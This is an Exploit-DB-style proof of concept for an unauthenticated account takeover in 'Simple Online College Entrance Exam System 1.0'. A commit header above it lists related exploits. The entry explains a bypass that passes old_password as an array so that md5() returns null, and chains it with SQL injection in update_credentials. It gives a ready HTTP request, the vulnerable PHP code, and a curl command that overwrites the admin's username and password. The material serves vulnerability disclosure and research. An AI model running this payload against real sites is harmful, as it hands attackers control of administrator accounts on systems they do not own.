caf7ab9c86
12 changes to exploits/shellcodes Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial-of-Service (PoC) IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated) Online Traffic Offense Management System 1.0 - Privilage escalation (Unauthenticated) django-unicorn 0.35.3 - Stored Cross-Site Scripting (XSS) Maian-Cart 3.8 - Remote Code Execution (RCE) (Unauthenticated) WordPress Plugin Pie Register 3.7.1.4 - Admin Privilege Escalation (Unauthenticated) Simple Online College Entrance Exam System 1.0 - Unauthenticated Admin Creation Simple Online College Entrance Exam System 1.0 - Account Takeover Simple Online College Entrance Exam System 1.0 - 'Multiple' SQL injection Online Enrollment Management System 1.0 - Authentication Bypass Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass Loan Management System 1.0 - SQLi Authentication Bypass
39 lines
No EOL
2.2 KiB
Text
39 lines
No EOL
2.2 KiB
Text
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
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# Date: 07.10.2021
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# Exploit Author: Amine ismail @aminei_
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# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
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# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
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# Version: 1.0
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# Tested on: Windows 10, Kali Linux
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# Unauthenticated password change leading to account takeover
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Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.
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Request:
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POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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Content-Length: 129
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id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test
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Vulnerable code in Actions.php:
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function update_credentials(){
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extract($_POST);
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$data = "";
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foreach($_POST as $k => $v){
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if(!in_array($k,array('id','old_password')) && !empty($v)){
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if(!empty($data)) $data .= ",";
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if($k == 'password') $v = md5($v);
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$data .= " `{$k}` = '{$v}' ";
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}
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}
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...
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if(!empty($password) && md5($old_password) != $_SESSION['password']){
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$resp['status'] = 'failed';
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$resp['msg'] = "Old password is incorrect.";
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}else{
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$sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
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@$save = $this->query($sql);
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PoC that changes the password and username of user 'admin' to 'exploitdb':
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curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials' |